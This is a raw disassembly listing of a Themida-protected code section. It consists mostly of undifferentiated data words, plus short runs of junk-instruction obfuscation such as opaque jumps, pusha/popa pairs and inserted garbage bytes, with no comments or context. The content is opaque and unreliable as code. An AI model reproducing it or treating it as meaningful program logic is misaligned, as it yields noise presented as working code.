		dd 0B70F5FF5h, 35F381C0h, 0F5753509h, 12E9h, 0FC1D2900h
		dd 3859ED0h, 7FA6BF5Eh,	6ED57299h, 8BD247C3h, 0D1BF0FD1h
		dd 0EE8h, 2025D000h, 780F8C6Dh,	9BF55D09h, 609D87C5h, 5B616160h
		dd 6B23E981h, 830F34DDh, 11h, 0CE9h, 3EC1A200h,	4A628EA1h
		dd 208B0360h, 0AE8D3h, 53390000h, 45DCB42Dh, 0C1BE2080h
		dd 4852BB66h, 0F9F88B59h, 0F680F28Bh, 3820F55h,	66000000h
		dd 0D88BC28Bh, 0E9CEB70Fh, 9, 0F0BEC122h, 3408579Fh, 9E97Eh
		dd 0E25F0000h, 0BDCBE780h, 0E9FD3894h, 5, 64287B95h, 0CD480C8h
		dd 31AEBE66h, 0FB18BDB8h, 66C78A10h, 6650C28Bh,	0F5BD68Bh
		dd 0D48AFAB7h, 10E8h, 0A1D50700h, 25170AFBh, 2A390ADDh
		dd 63E52BE1h, 5E923h, 0C5760000h, 5B629C74h, 0DD0BEA81h
		dd 0FF92FC4h, 584h, 9D4CB900h, 0F28049F6h, 8B66520Bh, 860F5EDFh
		dd 0Eh,	9E9h, 2D03C200h, 0B14E6724h, 34B5B134h,	2870Fh
		dd 0D18B0000h, 0B5F38B66h, 0F0B70F35h, 0D87DE781h, 8B0F40F0h
		dd 2, 30B79BB0h, 60F7B70Fh, 61D2BF0Fh, 0E9F9B70Fh, 0Ch
		dd 0F77D1F4h, 0A4CB30BDh, 0F16D6FA4h, 13E8h, 46ED8B00h
		dd 7D1FED9Ah, 0F8677EE7h, 79A88463h, 4BCF4F11h,	0F1E8F081h
		dd 0E95B00C9h, 8, 7DBEA455h, 35693DB0h,	2890Fh,	0EF8A0000h
		dd 309EC6BBh, 4C30BF72h, 0BA577433h, 3ACB9DFh, 50CA815Fh
		dd 527D2F09h, 7E859F9h,	88000000h, 9086DAF8h, 0BB66DBD1h
		dd 0E95A8AAAh, 5, 928469Bh, 0FCE8BADh, 6660D0B7h, 47FBE981h
		dd 0C6816661h, 0CC8AC5A0h, 12E9h, 51E7B600h, 0C14FC3B6h
		dd 632EDD21h, 0D3762622h, 0E89FD631h, 0Dh, 9A6C27F1h, 0B05A33EBh
		dd 0F37EDB90h, 0BE6650AAh, 5A5F0A55h, 68BB6653h, 0EE815E20h
		dd 17402F1Eh, 60534EB2h, 12E95F51h, 3A000000h, 0DDEF7D57h
		dd 5C1B1CDCh, 6CA522B0h, 9904D410h, 0F5B61F9h, 1385h, 8E800h
		dd 968F0000h, 59865575h, 8166CF82h, 5A1CB0E9h, 0EE860h
		dd 672E0000h, 4FC60B68h, 51BDF6AAh, 0AFAAEEECh,	0CDBAAFB9h
		dd 0FE8B5B0Ah, 0CE961h,	86650000h, 0F09BAE9h, 96BE6F1Fh
		dd 0B70FD756h, 0BE9F2h,	597F0000h, 0EC11C499h, 0FE7193AEh
		dd 17820F9Fh, 0E9000000h, 12h, 4FA22D29h, 3D731DD6h, 29CF1DFAh
		dd 0BA6FDBBFh, 0E851585Fh, 11h,	0E40604ABh, 0A39AA88h
		dd 2DB9E47Dh, 0D807A8B2h, 0C6BF0FF4h, 0D78B5B58h, 0FE8h
		dd 156E4F00h, 0E4B59438h, 5F116971h, 5192D1E9h,	5ADF8B66h
		dd 0B2F08B66h, 6681B1E0h, 0E9D007B8h, 8, 0E6733075h, 18FCA532h
		dd 72E88166h, 5660F81Fh, 665AC78Bh, 0CC91F781h,	0CE961h
		dd 6AB20000h, 0E0EF0A83h, 0FA6E9A01h, 81666820h, 51DAE5CFh
		dd 11E958h, 0DAD90000h,	0BA6C47ADh, 64D33BBEh, 0A82460D5h
		dd 6643AB19h, 0F4ECBB8h, 2DBAFBB7h, 0F95BD95Fh,	0DE9h
		dd 5D1F0D00h, 0DCCB883Bh, 441D41B2h, 0E1816A9Bh, 0B088EF6h
		dd 58E4B0BBh, 66F88B6Ch, 12E9DE8Bh, 56000000h, 0B11ADB6Ch
		dd 85CCCA28h, 696AE19h,	0E5131816h, 0FB8B669Bh,	6659D280h
		dd 0F88BC8BEh, 5E9h, 0AE68F400h, 52B2DD37h, 6E9h, 63997E00h
		dd 0E83B49B7h, 5, 1F0462F8h, 13E9CAh, 63710000h, 99C4614Fh
		dd 7F1FDF39h, 51373218h, 0D25029A6h, 0FF859E1h,	580h, 0DF816600h
		dd 66F8ABE6h, 6652CF8Bh, 8B5BD98Bh, 8CEF80F3h, 0CB8FBF66h
		dd 0CE8B03B1h, 0BBB6D980h, 4EA788CCh, 0F55EFC53h, 4820Fh
		dd 8B530000h, 0E2815FD9h, 2B5C606Eh, 9E957h, 0C6F80000h
		dd 1C8D1CEEh, 5EAC92DAh, 62593AB8h, 0E6BB512Dh,	5A6FF3F6h
		dd 0CA4CBA66h, 9AD98166h, 68D0F58h, 81000000h, 0F7658EBh
		dd 57C18B49h, 28F0Fh, 61600000h, 8E85Fh, 290F0000h, 25D5F3FFh
		dd 8B516013h, 665B5EC3h, 0F5272BFh, 685h, 800F00h, 0F000000h
		dd 0B81h, 58A0F00h, 66000000h, 0F98FC381h, 0C55457BEh
		dd 11830F2Fh, 0E9000000h, 0Ch, 59182C75h, 8AB78E5Ch, 0B06E30DAh
		dd 0BEC88B66h, 481D338Ah, 0AE960FCh, 4D000000h,	0A4E0ECC3h
		dd 0F389441Bh, 7E8BFh, 73740000h, 0C6CA1A6Ah, 8C0F28h
		dd 58000000h, 0F78B6661h, 0B70FD08Bh, 0EE81F5F6h, 0FB5FDCCh
		dd 6053FA8Bh, 0B0FCE181h, 0BF667A99h, 5A614E0Ch, 0F9C1B6F5h
		dd 668FEF80h, 8A0074BBh, 6662B5EFh, 0AE8C18Bh, 7A000000h
		dd 6C962416h, 0D104CC1Bh, 0D68166E7h, 525F435Dh, 6E860h
		dd 4DD00000h, 9F1974F0h, 0B6BE6658h, 665B6125h,	0FE7FFBBh
		dd 0E953C6B7h, 5, 88F49043h, 0F605FDAh,	68Eh, 8D0F00h
		dd 61000000h, 23138AB8h, 14E849h, 5D630000h, 41F204D7h
		dd 1D343D5Dh, 604D4099h, 0ECD80FECh, 0E8816EA7h, 3381DF8Bh
		dd 0FFBF0F5Eh, 0AE9h, 46A25A00h, 4048D281h, 0E8194BE2h
		dd 11h,	242BB70h, 0F8C8811Ch, 8036F9Ah,	39BAF9F0h, 83D0807Ah
		dd 0C18B6659h, 14E8h, 0C843700h, 0F395B8CAh, 99DFE30Bh
		dd 690D7A12h, 657289E5h, 0F0815B13h, 5FDD2407h,	0A3E410BAh
		dd 98BB662Ch, 0DE9B0h, 0A3D10000h, 9F1E6884h, 334DE5F5h
		dd 0E9B69274h, 7, 50C9BBCDh, 0E9B57F32h, 13h, 0C940B5D8h
		dd 0E4D3BBBFh, 0B33D8287h, 6ECE6D3Ah, 60E678A6h, 8D6700BEh
		dd 0CF80610Fh, 0B890F36h, 0E9000000h, 6, 5841E9Fh, 0C38B3E50h
		dd 0CE9h, 0DFF1A000h, 0CADBBCC7h, 45450B3Dh, 4890FDFh
		dd 66000000h, 8BF60CBBh, 0F18166C8h, 820F4FE6h,	8, 8B0F52h
		dd 5A000000h, 11E8F9h, 0C8A20000h, 0C2D139C3h, 0E551147Eh
		dd 5D7C9921h, 5A20EFCAh, 0E95CC980h, 6,	0EE85CB2Fh, 850FB561h
		dd 2, 8E0F88B2h, 11h, 0CE9h, 3F79DE00h,	0B1A86CDDh, 0BE761B4Eh
		dd 0ADC8B9DFh, 10E84CA8h, 48000000h, 484B7303h,	122B4843h
		dd 8ABF5224h, 0B0259552h, 14E95A2Bh, 3A000000h,	0AC54B2A1h
		dd 82D82538h, 1F581198h, 0AED2773Eh, 0E8F97399h, 0Ah, 21A02705h
		dd 0FC1AAC0Eh, 5358FC07h, 82B1CE81h, 0F95F7121h, 0F8F3BF0Fh
		dd 0E580ADB7h, 75BE66F7h, 3890FD4h, 66000000h, 0BE8C28Bh
		dd 9D000000h, 0DD2346A4h, 19F9E168h, 0EA81B86Ah, 0EF17636h
		dd 0C9BF0F5Eh, 6E8F5h, 5CAD0000h, 9B32F482h, 74CB805Bh
		dd 0F29CF80h, 6E9D8B7h,	0E5000000h, 0AF7AA451h,	0DE9FBh
		dd 6D270000h, 5D56EC79h, 0EB7F286Ch, 0E8F3ED26h, 7, 0A8C52ABh
		dd 0E9DD17F2h, 6, 9D9627CBh, 0F5A3284h,	0B88h, 5840F00h
		dd 66000000h, 46B6D081h, 0A9DE8166h, 0DE8C9h, 3DF70000h
		dd 22732C56h, 53849C16h, 0B873854Eh, 2973B28h, 0B8666059h
		dd 0F6012FDh, 8166DEBFh, 619AA0F2h, 81FDB061h, 0A94A3AD2h
		dd 12E973h, 22840000h, 3C239731h, 24C287A4h, 0B931EC82h
		dd 0E61B9B0h, 15C88166h, 7E858h, 685E0000h, 68EFC268h
		dd 0F5359C3h, 28Ch, 5AF78B00h, 0BF0FC38Bh, 0F08B66D3h
		dd 88F0Fh, 8E0F0000h, 2, 66FC5957h, 0E997B7BAh,	0Dh, 9F7580E0h
		dd 0A3636582h, 1309F69Eh, 58FC5104h, 9E9h, 917DB900h, 33BBDFB5h
		dd 8166B2AAh, 0E81FF5C2h, 14h, 0FAEC5DD6h, 28C1A416h, 0D00D6B7Ah
		dd 0CBFB1039h, 2FD59D81h, 0E859FA8Ah, 5, 0DA49202h, 0F28B6663h
		dd 0D2B70F5Eh, 0AE9h, 0E9B00900h, 0B0C5AA3Ch, 0E8CF24D5h
		dd 0Ch,	0F4FBBB67h, 7DEBACF5h, 0E95DD5DBh, 0ACACBB59h
		dd 0B9601224h, 4E65C2C5h, 10E961h, 789F0000h, 0C8822839h
		dd 0AB442DA3h, 48DDC30Ch, 0BB66EE35h, 0DF8BAB21h, 0BF0F52FCh
		dd 0CE85FC2h, 88000000h, 11540D27h, 0BED63E1Ch,	0BEC446BFh
		dd 2A33A83Bh, 0FC28B59h, 138Eh,	0BE800h, 5D5C0000h, 0F4FE446Ah
		dd 0BCD83F8Eh, 59CE8BFAh, 31F4B856h, 0F5B7C60h,	1B81h
		dd 158A0F00h, 0E9000000h, 10h, 20453C52h, 0DEC2F1CDh, 0C71EA03Eh
		dd 69D01DF5h, 1E567BBEh, 6476BB36h, 39B23FC5h, 0F38189B6h
		dd 402613F2h, 0DE9h, 0EEFDF200h, 0C0843B09h, 807D810h
		dd 8166D6C4h, 60CC70C0h, 0FFFBF0Fh, 58Dh, 8F6FBF00h, 0FC6156EEh
		dd 860Fh, 0E0B80000h, 0F779C1Bh, 0C81h,	6800F00h, 81000000h
		dd 0F893D2CAh, 7E950h, 6F8F0000h, 501D756Eh, 0AE826h, 621C0000h
		dd 34431400h, 7312C8CBh, 0CD1C7CBBh, 81665E09h,	66D4D0E0h
		dd 147AF081h, 0C55CDE81h, 0CE8166A5h, 15924E07h, 38B0FF9h
		dd 0F000000h, 0F88BFEB7h, 5860Fh, 2CBB0000h, 815CBD08h
		dd 222715E0h, 0DABF0F1Ch, 66D3BF0Fh, 0AC33EB81h, 0B569BF66h
		dd 8E9h, 8803EF00h, 4355E083h, 0C18166C7h, 870F16F1h, 4
		dd 0A9EBBB66h, 5CC88166h, 6660600Bh, 0F3F0D281h, 81666161h
		dd 810D1DC9h, 0C125FECFh, 9890F30h, 0F000000h, 389h, 53EA8000h
		dd 0BE873B7h, 8E000000h, 5F4DD9A9h, 95A5A5F5h, 8A5B595Eh
		dd 7BE281C8h, 66102D38h, 0E940EDBEh, 9,	0BF33BE02h, 0E83FDE65h
		dd 9101BB02h, 13E92926h, 3C000000h, 4D7A5221h, 16666D02h
		dd 0D833D1B8h, 0FE31EB50h, 8166BC5Fh, 664358D1h, 660CD8BAh
		dd 8047CB81h, 6403B966h, 5007A6B9h, 0BE606060h,	751890F9h
		dd 10E9h, 49C6ED00h, 0E07272A4h, 0C72541AAh, 73FEFD82h
		dd 816661D4h, 612FECF7h, 0B6BF5853h, 0BA7AC03Ah, 5189E22Ah
		dd 0F6EF480h, 82h, 0F2BF0F00h, 870Fh, 11E90000h, 9000000h
		dd 0B1FA1969h, 0CF565E08h, 0F80DA368h, 961FA69h, 63F68166h
		dd 77B9668Dh, 72E3802Ah, 8E9h, 67D87000h, 760B38E2h, 800F2Eh
		dd 0F000000h, 385h, 3EF28000h, 850FEC8Ah, 0Ch, 6840Fh
		dd 0C0810000h, 6AD2517Bh, 0BAC1BF0Fh, 1A655189h, 5EE68057h
		dd 57E68059h, 8AC38166h, 1ABAF855h, 0F2803ECh, 0C88h, 68D0F00h
		dd 0F000000h, 83h, 5AF55100h, 0FE9h, 0AFA24D00h, 0DB0685F3h
		dd 710FFBC4h, 7CA11C22h, 0AEEA42BAh, 0EB816648h, 820F094Dh
		dd 0
; ---------------------------------------------------------------------------
		movzx	edi, di
		mov	esi, edx
		jo	loc_5D3DFB
		jmp	loc_5D3DFB
; ---------------------------------------------------------------------------
		dd 0D6518709h
		db 7Fh,	49h, 0F3h
; ---------------------------------------------------------------------------


loc_5D3DFB:				; CODE XREF: Themida_:005D3DE9j
					; Themida_:005D3DEFj
		jmp	loc_5D3E05
; ---------------------------------------------------------------------------
		dd 2E24EE5Eh
		db 84h
; ---------------------------------------------------------------------------


loc_5D3E05:				; CODE XREF: Themida_:loc_5D3DFBj
		sub	esi, 70B7DF3Fh
		xor	ax, 8A92h
		add	bh, 0BBh
		clc
		call	near ptr loc_5D3E29+3
		xchg	ecx, [ecx+ebp-6089E572h]
		popf
		adc	ebx, [eax+1]
		mov	ds:0B021EA1Bh, al


loc_5D3E29:				; CODE XREF: Themida_:005D3E14p
		xor	[ebp+2810FFFh],	esi
; ---------------------------------------------------------------------------
		db 0
		dd 0C18B0000h, 0F9BF0F5Fh, 1DD38166h, 66FB8BD8h, 0A048CA81h
		dd 8166FC60h, 611230CFh, 0BE8h,	0C62C9B00h, 301A782Ah
		dd 8DAD982Eh, 66B96660h, 5F61F821h, 0D18BD88Bh,	8157F58Ah
		dd 5198E7D0h, 800F5E18h, 2, 0F1BA0AB2h,	0E8794783h, 0Fh
		dd 7313BE62h, 0D74A33DBh, 0F1A9965Bh, 5001E266h, 0D3F38166h
		dd 0F5595F59h, 0D88BE78Ah, 0F3BE6056h, 8A5788BAh, 0E95B61EAh
		dd 5, 0D30D9430h, 6E876h, 50470000h, 929D6CC0h,	880Fh
		dd 805A0000h, 0B70F48E7h, 7E9DBh, 70B10000h, 0CDADD806h
		dd 0AE81Ch, 0C2B30000h,	36615198h, 0FF6B1C0Ch, 605AD18Bh
		dd 20F7B966h, 8161F98Ah, 3E10EDE7h, 5840F67h, 66000000h
		dd 8052C781h, 0E96DE980h, 11h, 0C50234Bh, 18A97FF6h, 0DDF9AD2Ch
		dd 7801CEF6h, 4860FBBh,	66000000h, 0E8AFCBBBh, 10h, 3FE0D81h
		dd 0A678E609h, 8EDC67D2h, 6628BD37h, 0FABF0F60h, 880F5861h
		dd 12h,	0DE9h, 0D31D7600h, 46DD8906h, 59EA838Ah, 60564BDEh
		dd 11E85861h, 36000000h, 5A531001h, 6574ACD0h, 75CA2325h
		dd 0BAC55451h, 0E67CBF66h, 88BE6658h, 9860BB27h, 890F27D5h
		dd 14h,	0EE8h, 7C28C300h, 0EF97ED42h, 295335B7h, 5F32F05Bh
		dd 0B078F480h, 11E953h,	0ACA00000h, 962B5C64h, 4C9FDFB9h
		dd 203155BEh, 667FC039h, 0FF9D08Bh, 1B86h, 0FE800h, 0D0730000h
		dd 8F82996Fh, 10FCDD4Fh, 6273EC44h, 860FBDh, 5B000000h
		dd 28D0F50h, 8A000000h,	0D7815ECAh, 780DC785h, 0AE960h
		dd 0CCBE0000h, 0BAB54AD9h, 5EA2C24Dh, 61C28B66h, 0FE9h
		dd 0FA52A100h, 1E172D3Ch, 41A4968Ch, 0B59DA11Fh, 0F542F081h
		dd 0F780651Bh, 39D08108h, 8B61592Eh, 63E381CBh,	662BAE79h
		dd 83F3EB81h, 0FCBB70Fh, 0D85h,	8E900h,	24A90000h, 0BAE51063h
		dd 7B70F1Dh, 0F8F98B66h, 0F9FEF80h, 128Ch, 0C840F00h, 0E8000000h
		dd 6, 9D6A31Bh,	0BB58F033h, 56E5278Dh, 0F457DFBFh, 0FFB8B0Bh
		dd 684h, 67E78100h, 0BA36330Eh,	526F556Fh, 66605CB5h, 619669B8h
		dd 11E956h, 99130000h, 8A99E72Eh, 30CD79ECh, 5DB0DD3Bh
		dd 5ECE8C56h, 1805D181h, 8B0F1B93h, 1Ch, 0E8CA8B60h, 12h
		dd 1593325Ch, 33C0DD0Bh, 2AD40E99h, 8719CC7Eh, 6158F5A1h
		dd 8DD88166h, 0FD18B35h, 48Ah, 0A8B05600h, 15820F5Ah, 0E9000000h
		dd 10h,	7A41D9F5h, 2EB3515Ah, 80DFD4D9h, 0A1ED3C3Ah, 458BA66h
		dd 8BF8D580h, 0C3BF0FF9h, 8F39D881h, 60F50AACh,	0FCD18B66h
		dd 0D08B6661h, 0E9EB8A60h, 5, 6F1C7007h, 8B666135h, 0EE9D9h
		dd 2ABD0000h, 195A324Dh, 44025A95h, 2E7C34D6h, 8B66FBB0h
		dd 0AE9CEh, 2F070000h, 0B02ACE51h, 642ABA40h, 0F3816660h
		dd 8E0FD87Eh, 3, 61F9B70Fh, 0C3816660h,	8B66D49Bh, 2EBE61DFh
		dd 663CCC7Fh, 2301C281h, 10E9h,	88ADD500h, 1100851Dh, 0DFD04310h
		dd 731B26Ch, 0D3B70F1Bh, 8EECBF66h, 2AE3B966h, 0DE9h, 0F5C3A400h
		dd 52CEC921h, 0E85AFB51h, 0FE8DB57h, 0C2000000h, 2319B0D9h
		dd 41BEA01Eh, 9D328EF1h, 4DB684C8h, 82EB815Fh, 0B06CE194h
		dd 0B96660CDh, 84B4FDA6h, 285EBB61h, 8B665272h,	10E9DAh
		dd 73150000h, 417D69B5h, 4CE2F3B6h, 0D2368F93h,	0D68BA557h
		dd 0AE9h, 0BA7BF00h, 80EA18C7h,	0FADD61Fh, 0F50C0B7h, 5059C3B7h
		dd 0F1C2BE66h, 58D0F5Fh, 0BE000000h, 33229BE2h,	8E8h, 21BA5100h
		dd 3366B060h, 0FE8B5967h, 66D38B66h, 0E9A167BFh, 0Dh, 2060B142h
		dd 1D987E5Eh, 1B998695h, 0D381663Bh, 8C0F50D3h,	4, 212FBA66h
		dd 665FF856h, 9735CE81h, 49DBE66h, 6627DB80h, 0BFB7D08Bh
		dd 7E5FDF81h, 80600161h, 0DF8B26F6h, 99BF6661h,	0EB866E3h
		dd 0A8B0FA3h, 60000000h, 0B8C78166h, 0DABF0FC3h, 13E861h
		dd 93F70000h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh
		dd 0D08166C6h, 0E95A8A65h, 11h,	0D104CC1Bh, 0E5F642E7h
		dd 4856B100h, 0C84ADAE4h, 5850FFBh, 66000000h, 825EF781h
		dd 0DE9h, 0FAD9DC00h, 64EC2771h, 8DD3329Ch, 0F6069D9h
		dd 850FF2BFh, 15h, 10E9h, 0D7905C00h, 8065A1h, 9AA63082h
		dd 7AE0224Dh, 8B6661F3h, 13E9DFh, 0B8680000h, 930AAF23h
		dd 9F7F42Dh, 87F5D102h,	250D7ECDh, 0CEB70F1Bh, 50FAB70Fh
		dd 5E43BE66h, 13BF6658h, 10E907h, 0F5780000h, 0A53E5D48h
		dd 634F75B0h, 57ED02CDh, 0C28B2C46h, 12E8h, 71088A00h
		dd 1D935C5h, 4B28C851h,	0F7211BEFh, 66606DACh, 5E5D50BEh
		dd 0FDEB70Fh, 58Fh, 0D25CBF00h,	8B667147h, 0E88166D3h
		dd 0C3814BB1h, 3CA67194h, 5E9F8h, 50070000h, 664F3200h
		dd 66D080BBh, 0CD9ADA81h, 2FB5C081h, 800F3E2Ah,	5, 8C9673BEh
		dd 11E92Eh, 51FC0000h, 25624BFDh, 0B029467Ah, 4525CFC9h
		dd 0E8AD2E7Fh, 9, 8BFA5B4Bh, 0BECAE279h, 5A6160CBh, 49E28166h
		dd 680EBF8Ah, 10E90B46h, 7000000h, 0A79EE285h, 0F07E8660h
		dd 7E7E4CDFh, 0E974E9B8h, 13h, 18160696h, 959BE513h, 8B892C74h
		dd 82D91466h, 0F92364Fh, 0B860C8B7h, 3FB0F5B8h,	7E9h, 73A1DD00h
		dd 9CE67581h, 7800F61h,	57000000h, 0CC38166h, 8B665F03h
		dd 5EB053DAh, 0CF81665Bh, 0C0808535h, 0F7BF0F41h, 0E990C880h
		dd 7, 0C5CA93B9h, 8B36C690h, 6870FF7h, 0F000000h, 83h
		dd 11E9F900h, 86000000h, 0EBE2A092h, 50B7D1Bh, 0A3EE17FDh
		dd 0DBC2DCFBh, 2C09E981h, 8D0F1D98h, 1,	6E9F8h,	0B3640000h
		dd 56630233h, 9BDFBF66h, 64DABB66h, 816667B6h, 66A8A5C6h
		dd 8BE4E4BAh, 0BE8DEh, 32D40000h, 0C9604BBh, 0FE9AB1FCh
		dd 1ABB6672h, 8B665AECh, 0FFBF0FC8h, 49DFF081h,	81660795h
		dd 0F0972EAh, 886h, 2880F00h, 0B1000000h, 58F0FABh, 0BF000000h
		dd 66AC0044h, 1CEF8166h, 0F3B70F87h, 8B4CF280h,	0AE9F7h
		dd 8F2F0000h, 0ECAE0F92h, 1856411Dh, 7D0086BBh,	0F6816626h
		dd 12E82F6Dh, 74000000h, 0B12DBE54h, 8B168B59h,	0C7F311B5h
		dd 27C38EF0h, 0B810FDEh, 0E8000000h, 5,	0F57C71E1h, 66595944h
		dd 0BAEBF681h, 5820Fh, 81660000h, 66289CDEh, 0B001D281h
		dd 11840Fh, 9E80000h, 91000000h, 0E4F8928Eh, 0BD03D24Ah
		dd 665B5B57h, 81EF09BFh, 2EE89EC7h, 0AE80Fh, 4E030000h
		dd 0D707FD75h, 242C214Eh, 59D6B70Fh, 0BF0F0CB1h, 0CE8C7h
		dd 0FA0E0000h, 74C576C0h, 6780629Ch, 14E9549Ah,	45000000h
		dd 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h, 5EC87868h
		dd 0BE953h, 0FDC70000h,	9A87AC51h, 935FFB74h, 0F605E50h
		dd 38Bh, 0F8BF0F00h, 0F17E70BBh, 830F6121h, 4, 59D38B51h
		dd 5890Fh, 61B90000h, 576B897Ch, 0E2C28166h, 0B8665AA2h
		dd 34BBB495h, 666E8666h, 0F476BBAh, 0A89h, 48E0F00h, 66000000h
		dd 66D80BB8h, 8AF9FE8Bh, 9E9EBh, 0E2C40000h, 8C610727h
		dd 81775DC3h, 0DB90D9F1h, 13E868h, 550D0000h, 41FD374Eh
		dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 2840F50h,	8A000000h
		dd 0F605BD7h, 0F83h, 9E800h, 70440000h
		dd 13E31FB3h, 5BB5C906h, 8061C88Bh, 8D0F34D1h, 3, 0F61F560h
		dd 0C8Bh, 7E900h, 6450000h, 0C0B6FC9Bh,	0B3535252h, 0F5E5F0Dh
		dd 58Dh, 26C1BE00h, 60607CF6h, 8B66F98Ah, 0B86661DFh, 606165B2h
		dd 1CCE8166h, 0EE81Fh, 23260000h, 77D515FDh, 0A6252633h
		dd 4C5968A5h, 8B0F6158h, 0Eh, 8E8h, 0D6706100h,	11369C88h
		dd 0EE95E8Eh, 60000000h, 0BC158A68h, 0AA6D5E01h, 0FCB0B6ACh
		dd 66D8B7F5h, 0C27DE281h, 0FC28B66h, 28Ah, 0E9C28B00h
		dd 10h,	31C26256h, 4EBED7B7h, 0C8321B8Ah, 6F5B7E73h, 0EC18166h
		dd 0CB68B9B1h, 0AE90507h, 0EF000000h, 54988F15h, 5DD34272h
		dd 0E78166C7h, 595026CBh, 0BE9h, 1FDDD800h, 0FF63A16Dh
		dd 48A3B54Dh, 0EE9h, 0BB9C7B00h, 76F6B5DEh, 40732A63h
		dd 81A962A7h, 1D023ED1h, 4791BF56h, 57525DFEh, 0EE9h, 0A3BD6800h
		dd 61808C50h, 2C2638D7h, 5F6E71A3h, 0FB1B15Ah, 38Dh, 99C08000h
		dd 6143B360h, 111605B9h, 0DE91Eh, 0BEEF0000h, 0BB80016h
		dd 9C43FCF6h, 0FC533EE3h, 0A54CB966h, 647E5DB9h, 0FFBF0F5Ah
		dd 8A92BB66h, 0D5809FB6h, 6660F5BFh, 162DD081h,	8B0F61F9h
		dd 14h,	0E850Fh, 8E80000h, 0F9000000h, 0C18899Bh, 5B8815BEh
		dd 0CE9h, 1DEDC000h, 2EDE7298h,	2DFBB2DEh, 890FF86Ch, 9
		dd 38C0Fh, 0B70F0000h, 3870FD6h, 80000000h, 0D9BBDBE5h
		dd 0F74388Dh, 589h, 4D8BA00h, 0BB6657DAh, 66F5D5D3h, 4059E181h
		dd 68F0Fh, 0EF810000h, 63ED71EAh, 8E9h,	56630200h, 3CCA78FAh
		dd 52CF8A9Dh, 5205BE66h, 0C0B70F5Bh, 0E9D78B66h, 14h, 0BCC13093h
		dd 0C3BA8B0Dh, 4AE5E0B3h, 1C27A1C9h, 67979574h,	10E960h
		dd 8A6F0000h, 2000EE62h, 0E923F23Eh, 7047C17Dh,	0C78B21DCh
		dd 5E861h, 58BF0000h, 0E999CF0Dh, 7, 0D1A6C9C9h, 591A5711h
		dd 81C88B66h, 291E67EEh, 1B66B91Ch, 0FF50686h, 482h, 9CBA6600h
		dd 8B605248h, 665A61D8h, 6691BAB9h, 0E8B86CBAh,	5, 7E045FCh
		dd 2880FC0h, 8B000000h,	5E95AF3h, 7B000000h, 8CE2B3E5h
		dd 8150F860h, 0CFFF73E6h, 0E9615F7Fh, 8, 0BE84E2Ch, 0AB559846h
		dd 16810Fh, 8B600000h, 0DE9F1h,	0D9EB0000h, 3E2CB32Fh
		dd 0B48FE166h, 61628176h, 0D38B6660h, 382EB7B8h, 0E8B0611Ch
		dd 2EC68166h, 12E92Dh, 57B60000h, 9145CF69h, 0C799DA2Dh
		dd 4D16F506h, 0CC11A4E6h, 12E8C18Ah, 0CF000000h, 0B73C0489h
		dd 0DE9F6178h, 15434371h, 2E9FB1BBh, 1C2810Dh, 5E6B0800h
		dd 163EBB66h, 8E8h, 0B4CB2000h,	1C4FE862h, 0F781661Ch
		dd 5358D02Ch, 4850Fh, 0BF660000h, 0F95E87B7h, 4840Fh, 0B8660000h
		dd 8B0FA910h, 0
		dd 65C38166h, 60FE8B5Ah, 0CF8166FCh, 0E8619846h, 7, 37CAF5E2h
		dd 60452159h, 8B0FEA8Ah, 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		jmp	loc_5D4986
; ---------------------------------------------------------------------------
		db 0D4h
		dd 7BC62F66h, 0D1B9C023h, 0E1E63042h
		db 0Fh,	87h
; ---------------------------------------------------------------------------


loc_5D4986:				; CODE XREF: Themida_:005D4972j
		xor	ax, 2933h
		sbb	di, 2CD3h
		jz	loc_5D499D
		push	eax
		adc	dx, 1DD6h
		pop	edx


loc_5D499D:				; CODE XREF: Themida_:005D4990j
		mov	al, ch
		js	loc_5D49BC
		push	ebx
		jmp	loc_5D49BB
; ---------------------------------------------------------------------------
		db 14h
		dd 5EEEF8ACh, 76EE00BCh, 4F90840Bh
		db 54h,	0EBh, 65h
; ---------------------------------------------------------------------------


loc_5D49BB:				; CODE XREF: Themida_:005D49A6j
		pop	esi


loc_5D49BC:				; CODE XREF: Themida_:005D499Fj
		jl	loc_5D49CE
		pusha
		mov	eax, 5005F3A4h
		add	bx, 4021h
		popa


loc_5D49CE:				; CODE XREF: Themida_:loc_5D49BCj
		mov	si, 0B3C4h
		clc
		cld
		pusha
		adc	di, 3279h
		jo	$+6
		popa
		jb	loc_5D4A01
		call	near ptr sub_5D49FD
		pop	ebx
		add	eax, 52DCEB8Dh
		cmpsd
		in	al, 5Bh
		insd
		and	eax, 0A661A1BBh
		jns	short loc_5D4A34

; =============== S U B	R O U T	I N E =======================================



sub_5D49FD	proc far		; CODE XREF: Themida_:005D49E7p
		movsx	edi, di
		pop	edi


loc_5D4A01:				; CODE XREF: Themida_:005D49E1j
		movsx	ecx, bx
		stc
		movzx	ebx, ax
		jge	loc_5D4A17
		jl	loc_5D4A17
		movsx	esi, si


loc_5D4A17:				; CODE XREF: sub_5D49FD+Bj
					; sub_5D49FD+11j
		adc	ecx, 49CA27C0h
		jmp	loc_5D4A29
; ---------------------------------------------------------------------------
		dw 0B677h
		dd 0E521F919h
		db 31h
; ---------------------------------------------------------------------------


loc_5D4A29:				; CODE XREF: sub_5D49FD+20j
		push	ebx
		or	cl, 4Dh
		pop	ecx
		jnb	loc_5D4A52


loc_5D4A34:				; CODE XREF: Themida_:005D49FBj
		jns	loc_5D4A52
		jmp	loc_5D4A52
; ---------------------------------------------------------------------------
		mov	edx, 76508D28h
		aad	4Ah
		fldcw	word ptr [eax]
		mov	ds:0FB004FFCh, al
		pop	ebx
		retf	0DDBDh
; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------


loc_5D4A52:				; CODE XREF: sub_5D49FD+31j
					; sub_5D49FD:loc_5D4A34j ...
		jnb	loc_5D4A5B
		movsx	edi, dx


loc_5D4A5B:				; CODE XREF: sub_5D49FD:loc_5D4A52j
		or	dl, 8Ah
		movsx	ebx, cx
		pusha
		mov	esi, 1BD346E3h
		movzx	edx, si
		popa
		jle	$+6
		mov	edi, esi
		or	dl, 0DDh
		movzx	ebx, bx
		mov	eax, ecx
		pusha
		mov	bx, 8680h
		movzx	esi, dx
		popa
		push	esi
		pop	edi
		mov	cx, 0B63Dh
		jbe	loc_5D4A92
		mov	bh, 99h


loc_5D4A92:				; CODE XREF: sub_5D49FD+8Dj
		sbb	eax, 57DB8792h
		adc	ebx, 2FD8BAAEh
		call	sub_5D4AB0
		stosb
